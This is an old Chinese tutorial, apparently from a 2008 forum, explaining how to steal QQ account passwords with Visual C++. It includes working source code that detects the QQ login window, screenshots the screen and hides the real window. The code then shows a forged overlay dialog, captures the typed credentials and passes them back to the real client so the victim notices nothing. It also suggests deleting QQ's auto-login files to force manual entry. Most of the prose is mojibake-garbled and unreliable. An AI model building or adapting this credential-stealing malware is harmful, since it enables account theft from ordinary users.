Visual C++缂栫▼绐冨彇QQ瀵嗙爜
鍙戝竷: 2008-6-26 14:25 | 浣滆: admin | 鏌ョ湅: 303娆
銆銆杩戞棩鏃犳墍浜嬩簨锛岀湅鍒扮幇鍦ㄧ殑QQ闃茬洍鎶鏈秺鏉ヨ秺濂斤紝涓鑸殑閽╁瓙宸茬粡鏃犳硶鑾峰彇鐢ㄦ埛杈撳叆 鐨勫瘑鐮佷簡锛屾垜涔熻瘯鍥剧敤鍙戦乄M_GETTEXT娑堟伅浠ュ強GetWindowText鏉ヨ幏鍙栧瘑鐮佹枃鏈鐨勬暟鎹紝鍙戠幇鏄笉鍙鐨勩傚乏鎬濆彸鎯筹紝鏃㈢劧绋嬪簭鏈韩鐨勯槻鑼冨緢 涓ュ瘑銆傞偅涔堟垜浠氨浠庣敤鎴疯繖杈规潵涓嬫墜鍚с傛瘯绔熷緢澶氱敤鎴峰鐢佃剳涓嶆槸寰堜簡瑙g殑锛屽悇浣嶇湅瀹樺彲涓嶈兘鎵斾笐楦¤泲鍟娿
銆銆缃戝惂閲屼竴鑸敤鎴风偣鍑籕Q蹇嵎鏂瑰紡鍚庡氨杈撳叆鍙风爜鍜屽瘑鐮侊紝鐒跺悗鍐嶇櫥闄嗭紝杩欐牱鎴戜滑灏卞彲浠ヨ繘琛屾楠椾簡銆傛垜浠殑绋嬪簭杩愯鍦ㄥ悗鍙颁笉鍋滅殑妫娴嬪綋鍓嶆縺娲荤殑绐楀彛鏄笉鏄疩Q鐧诲綍鐨勭獥鍙o紝濡傛灉鏄殑璇濆氨鍏堝彇寰桻Q鐧诲綍绐楀彛涓殑鍙风爜銆佸瘑鐮佹枃鏈鍜岀櫥闄嗘寜閽殑绐楀彛浣嶇疆銆傝繖鏍锋槸涓轰簡鍦ㄦ垜浠吉閫犵殑绐楀彛涓婂垱寤鸿繖浜涚獥鍙f椂涓嶈瀵熻锛岃幏寰楄繖浜涗俊鎭悗锛屾垜浠厛鎴彇鏁翠釜灞忓箷锛岀劧鍚庢妸鐪熸鐨凲Q鐧诲綍绐楀彛闅愯棌璧锋潵锛屾渶鍚庡垱寤烘垜浠嚜宸辩殑绐楀彛锛岃缃负鏈鍓嶅崰婊℃暣涓闈紝鐒跺悗鍐嶈儗鏅笂璐翠笂鍒氭墠鎶撳彇鐨勫浘鐗囥傛渶鍚庡湪鍥剧墖QQ鐧婚檰鐨勫湴鏂瑰垱寤哄ソQQ鍙风爜鍜屽瘑鐮佽緭鍏ョ獥鍙o紝鍦ㄦ娴嬪埌鐢ㄦ埛鍗曞嚮鍦≦Q鐧婚檰鎸夐挳鏃惰幏鍙栫敤鎴疯緭鍏ョ殑瀛楃锛屾妸杩欎簺瀛楃鍙戦佸埌鐪熸鐨凲Q绐楀彛閲岋紝鏈鍚庢ā鎷熷崟鍑籕Q鐧婚檰鎸夐挳瀹屾垚QQ鐨勬甯哥櫥闄嗐
銆銆鐒惰屽搴敤鎴蜂竴鑸槸閫変簡鑷姩鐧婚檰鐨勬柟寮忥紝鎵浠ユ病鏈塓Q鐧诲綍鐨勭獥鍙o紝閭f垜浠氨瑕佸姩涓浜涙墜鑴氫簡銆備簡瑙Q鐨勫湴鐞冧汉閮界煡閬擄紝QQ鏂囦欢澶逛笅鏈夎繖涓や釜鏂囦欢锛欰utoLogin.dat鍜孡oginUinList.dat锛屽畠浠殑鍔熻兘锛氳繖涓や釜鏂囦欢鏄疩Q鐨勫彿鐮佺櫥褰曟暟鎹枃浠讹紝AutoLogin.dat 淇濆瓨鐨勬槸鑷姩鐧诲綍鍙风爜鐨勬暟鎹枃浠讹紝LoginUinList.dat鍒欎繚瀛樼殑鏄疩Q鐧诲綍绐楀彛涓殑鈥淨Q鍙风爜鈥濅笅鎷夋涓樉绀虹殑鎵鏈夊彿鐮佽褰曘傛墍浠ユ垜浠鍒犻櫎QQ鐧诲綍鏁版嵁锛岀洿鎺ュ垹闄utoLogin.dat鍜孡oginUinList.dat涓や釜鏂囦欢灏辫浜嗐備富瑕佷唬鐮佸垎鏋愬涓嬶細
//鏍规嵁杩涚▼ID寰楀埌杩涚▼鍚嶇О
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe)) {
return FALSE;
}
while (Process32Next(hSnapshot, &pe)) {
if (pe.th32ProcessID == PID) {
strcpy(lpszProcessName, pe.szExeFile);
return true;
}
}
return FALSE;
}
//鏌ユ壘QQ鐧诲綍绐楀彛
void QQFind()
{
HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;
HWND ButtonLogin = NULL, ButtonCancel = NULL;
char sTitle[255];
CString ss;
DWORD QQPID;
int LoginID;
BOOL find = FALSE;
do
{
//鑾峰緱褰撳墠婵娲荤獥鍙g殑鍙ユ焺
g_hWnd = GetForegroundWindow();
GetWindowThreadProcessId(g_hWnd, &QQPID);
//鏍规嵁PID鑾峰緱杩涚▼鍚
processIdToName(sTitle, QQPID);
ss = sTitle;
ss.MakeLower();
//鍒ゆ柇鏄惁QQ
if(ss != "qq.exe")
{
Sleep(100);
continue;
}
//鑾峰緱鏍囬鏂囧瓧锛屽垽鏂槸鍚︾櫥闄嗗璇濇
SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);
ss = sTitle;
int n = ss.Find("QQ", 0);
int m = ss.Find("鐧诲綍", 0);
if(n >= 0 || m >= 0)
{
//鏌ユ壘QQ鐧婚檰鎸夐挳鐨勫彞鏌
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "鐧诲綍");
LoginID = GetDlgCtrlID(ButtonLogin);
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "鐧诲綍");
LoginID = GetDlgCtrlID(ButtonLogin);
//鑾峰緱QQ鐧婚檰鎸夐挳绐楀彛浣嶇疆
GetWindowRect(ButtonLogin, &g_qqLogin);
//鏌ユ壘QQ鍙栨秷鎸夐挳鐨勫彞鏌
ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "鍙栨秷");
//鑾峰緱QQ鍙栨秷鎸夐挳绐楀彛浣嶇疆
GetWindowRect(ButtonCancel, &g_qqCancel);
//鏌ユ壘QQ瀵嗙爜杈撳叆妗嗙殑鍙ユ焺
hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);
if(hWnd1 != NULL)
{
qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);
//鑾峰緱QQ瀵嗙爜杈撳叆妗嗙獥鍙d綅缃
GetWindowRect(qqPass_hWnd, &g_qqPassRt);
}
//鏌ユ壘QQ鍙风爜杈撳叆妗嗙殑鍙ユ焺
hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);
if(hWnd1 != NULL)
{
qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);
//鑾峰緱QQ鍙风爜杈撳叆妗嗙獥鍙d綅缃
GetWindowRect(qqID_hWnd, &g_qqIDRt);
//鑾峰緱褰撳墠榛樿QQ鍙风爜
SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);
}
//绛夊緟QQ绐楀彛瀹屽叏鍑虹幇鍚庢姄鍙栨暣涓睆骞
Sleep(100);
g_DlgRt.left = 0;
g_DlgRt.top = 0;
g_DlgRt.right = m_xScreen;
g_DlgRt.bottom = m_yScreen;
g_PBitmap = CopyScreenToBitmap(&g_DlgRt);
//璁剧疆QQ绐楀彛涓轰笉鍙
ShowWindow(g_hWnd, SW_HIDE);
//寮瑰嚭鎴戜滑鍒涘缓鐨勪吉閫犲璇濇
HINSTANCE hInstance = GetModuleHandle(NULL);
DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);
//璁剧疆QQ绐楀彛涓哄彲瑙
ShowWindow(g_hWnd, SW_SHOW);
//鎶奞Q鍙风爜鍜屽瘑鐮佸~鍒扮湡姝g殑QQ鐧诲綍绐楀彛涓婏紝骞舵ā鎷熷崟鍑荤櫥闄嗘寜閽
SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);
SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);
SendMessage(ButtonLogin, BM_CLICK, 0, 0);
DeleteObject(g_pBitmap);
//璁剧疆鏍囧織閫鍑哄惊鐜
find = true;
}
}
while(find == FALSE);
}銆銆鎴浘濡備笅锛
鍥句竴 浼鐨勭櫥闄嗙晫闈
銆銆濂戒簡锛岃鍒拌繖鍎夸篃宸笉澶氬暒锛岃绗戣绗戜簡^_^锛屾渶鍚庡鍔濅竴鍙ワ紝璇峰嬁鐢ㄤ簬闈炴硶銆




发表于 2009-1-5 19:48
| 











